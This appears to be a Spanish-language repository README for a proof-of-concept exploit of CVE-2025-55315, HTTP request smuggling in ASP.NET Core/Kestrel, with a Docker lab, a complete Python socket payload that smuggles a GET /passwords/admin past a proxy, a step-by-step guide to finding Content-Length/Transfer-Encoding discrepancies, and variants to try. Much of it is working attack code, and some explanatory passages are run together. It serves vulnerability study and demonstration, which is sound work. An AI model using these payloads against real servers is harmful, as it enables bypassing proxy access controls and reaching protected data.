
Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.
Explotación de prueba de concepto para CVE-2025-55315 (Contrabando de solicitudes HTTP en .NET). Demuestra cómo la codificación fragmentada (chunked encoding) mal interpretada permite a atacantes introducir solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.
Ver presentación interactiva en Prezi
🎥 Haz clic en la insignia de arriba para ver la presentación interactiva completa en Prezi
Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerable a CVE-2025-55315)Dockerfile.patched - Usa .NET 10.0.100 (versión parcheada)Nota: La vulnerabilidad está en el analizador HTTP del runtime de .NET (Kestrel), no en el código de la aplicación. Ambas versiones usan código fuente idéntico pero diferentes versiones del runtime de .NET.
# Construir y ejecutar todos los servicios
docker-compose up --build
# Acceder a los servicios
# API insegura: http://localhost:5001
# API segura: http://localhost:5002
# Proxy Python (exploit): http://localhost:5027
# Proxy YARP (balanceo de carga): http://localhost:5028
Consulta DOCKER.md para instrucciones detalladas de uso de Docker.
El proxy Python demuestra CVE-2025-55315 al favorecer Content-Length sobre Transfer-Encoding, permitiendo el contrabando de solicitudes HTTP:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Leer todos los datos disponibles
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Respuesta Completa ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Comprobando respuesta de solicitud de contrabando ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ ¡Solicitud de contrabando a /passwords/admin exitosa!")
else:
print("✗ Exploit falló o fue bloqueado")
Este payload introduce una segunda solicitud a /passwords/admin evadiendo la verificación de seguridad del proxy, explotando la discrepancia en cómo el proxy y el servidor backend analizan la solicitud.
A continuación, se muestra cómo el proxy y el servidor backend interpretan el mismo payload de manera diferente:
Diferencias Clave:
Explicación Detallada:
2;\n como una declaración de tamaño de fragmento válida (2 bytes) → Lee xx como el cuerpo del fragmento de 2 bytes → Pasa al siguiente fragmento (39)\n como terminación de línea → El tamaño del fragmento sigue siendo 2 pero la cabecera se extiende hasta 2;\nxx\r\n → Lee 39 como parte del cuerpo del fragmento → 0\r\n termina el fragmentoGET /passwords/admin está oculta en lo que el backend trata como datos de fragmento, pero se analiza como una solicitud separada después de que el procesamiento de fragmentos finalizaLa solicitud de contrabando GET /passwords/admin está oculta en lo que el proxy cree que son datos del cuerpo del fragmento, pero el backend la analiza como una solicitud HTTP separada.
Antes de explotar, necesitas identificar qué cabecera HTTP (Content-Length o Transfer-Encoding) favorece cada componente. Aquí tienes una guía paso a paso:
Envía una solicitud con ambas cabeceras Content-Length y Transfer-Encoding: chunked para ver cuál respeta cada componente:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Análisis:
Content-LengthTransfer-EncodingPrueba todos los componentes en tu arquitectura para encontrar discrepancias:
# Usando Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Respuesta de API Insegura:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Cambia el puerto a 5002 y prueba
# La API segura debería manejar el conflicto correctamente
# Cambia el puerto a 5027
# El proxy Python favorece Content-Length (vulnerable)
# Cambia el puerto a 5028
# Prueba cómo YARP maneja el conflicto de cabeceras
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Una vez que identifiques:
Content-Length (lee solo N bytes)Transfer-Encoding (lee el cuerpo fragmentado)Puedes introducir una segunda solicitud que el proxy nunca ve pero el backend procesa.
Ejecuta el payload completo del exploit (ver sección "Demostración del Exploit" más arriba) y confirma:
socket: Control de bajo nivel para formateo HTTP preciso--data-binary: Pruebas rápidas desde línea de comandosEl exploit puede crearse de múltiples maneras. Experimenta con diferentes enfoques:
# Añade Content-Length para hacer la desincronización explícita
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... resto del payload
)
\n como terminación de línea válida → Trata 2;\n como tamaño de fragmento → Lee 2 bytes (xx)\n → La cabecera del fragmento se extiende hasta 2;\nxx\r\n → 39 se convierte en cuerpo del fragmento → 0\r\n termina el fragmentoPrueba diferentes escenarios de desincronización modificando PythonProxy/proxy_server.py:
\n vs \r\n)Experimenta con:
|
INTERPRETACIÓN DEL PROXY (Acepta |
INTERPRETACIÓN DEL BACKEND (Rechaza |
| Componente | Tamaño de Fragmento 2;\n | Bytes Leídos | Qué Sucede |
|---|
| Proxy | ✅ Tamaño de fragmento válido | 2 bytes (xx) | Trata 2;\n como cabecera completa de fragmento, lee 2 bytes, continúa al siguiente fragmento |
| Backend | ❌ Terminación de línea inválida | Sigue leyendo como fragmento de tamaño 2 | La cabecera del fragmento no termina hasta xx\r\n, por lo que 39 se convierte en el cuerpo del fragmento, 0 termina el fragmento |